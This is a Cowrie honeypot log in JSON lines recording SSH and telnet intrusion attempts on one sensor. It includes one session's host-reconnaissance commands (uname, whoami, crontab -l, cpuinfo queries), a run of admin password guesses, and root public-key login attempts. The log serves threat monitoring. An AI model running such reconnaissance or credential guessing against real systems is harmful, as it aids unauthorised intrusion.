{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:06.517509Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:07.047208Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:07.050821Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:07.762732Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:08.742330Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:08.745650Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:08.748851Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:08.999912Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:09.531874Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:09.535491Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:10.258531Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:11.430232Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:11.434347Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:11.683181Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:12.204045Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:12.206856Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:12.453534Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:12.979433Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:12.982677Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:13.231832Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:13.758861Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:13.762350Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:14.010919Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:14.538206Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:14.541755Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:14.789547Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:15.323100Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:15.326345Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:15.574027Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:16.586511Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:16.590571Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:16.837875Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:17.364530Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:17.367927Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:17.615718Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:19.036400Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:19.039855Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:19.289337Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.1","message":"Connection lost after 32.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:19.294285Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":5439,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa2dd9fffe3","protocol":"ssh","message":"New connection: 2.57.121.112:5439 (159.203.135.109:22) [session: 2aa2dd9fffe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:36.965122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:36.969425Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:37.073764Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01111994","message":"login attempt [admin/01111994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:37.571503Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"010980","message":"login attempt [admin/010980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:38.678654Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01091972","message":"login attempt [admin/01091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:39.786471Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0109","message":"login attempt [admin/0109] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:40.893418Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01081963","message":"login attempt [admin/01081963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:42.002733Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:43.113700Z","src_ip":"2.57.121.112","session":"2aa2dd9fffe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.44.114.250","src_port":1781,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04348823f3a","protocol":"telnet","message":"New connection: 197.44.114.250:1781 (10.17.0.5:23) [session: c04348823f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:00:03.371258Z"}
{"eventid":"cowrie.session.closed","duration":13.758177042007446,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:00:17.129315Z","src_ip":"197.44.114.250","session":"c04348823f3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":39420,"dst_ip":"159.203.135.109","dst_port":22,"session":"245df66cdc58","protocol":"ssh","message":"New connection: 139.19.117.129:39420 (159.203.135.109:22) [session: 245df66cdc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:36.750355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:36.754884Z","src_ip":"139.19.117.129","session":"245df66cdc58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:36.847872Z","src_ip":"139.19.117.129","session":"245df66cdc58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:37.036777Z","src_ip":"139.19.117.129","session":"245df66cdc58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:37.040728Z","src_ip":"139.19.117.129","session":"245df66cdc58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:37.136688Z","src_ip":"139.19.117.129","session":"245df66cdc58","protocol":"ssh"}
